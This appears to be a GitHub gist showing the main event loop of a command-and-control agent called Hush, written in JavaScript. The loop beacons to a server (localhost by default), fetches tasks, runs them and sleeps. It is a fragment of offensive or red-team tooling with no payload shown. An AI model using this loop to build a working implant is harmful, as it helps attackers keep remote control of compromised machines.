Created
September 3, 2021 18:54
-
-
Save khyberspache/404d9ce74068640eaacec30a382889d4 to your computer and use it in GitHub Desktop.
Hush agent's main event loop
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function run(argv) { | |
beacon = new Beacon((argv.length > 0) ? (argv[0] || argv) : 'http://localhost:3391', (argv.length > 1) ? argv[1] : 'http'); | |
while (true) { | |
try { | |
let tasks = runModule('c2', beacon.contact, {beacon: beacon}); | |
beacon.Links = tasks.map(task => executeTask(Object.assign(new Instruction(), task, {Pid: beacon.pid}))); | |
} catch (e) { | |
console.log(`Beacon failed. ${e}`) | |
} | |
console.log(`Sleeping for ${beacon.Sleep} seconds`); | |
delay(beacon.Sleep); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment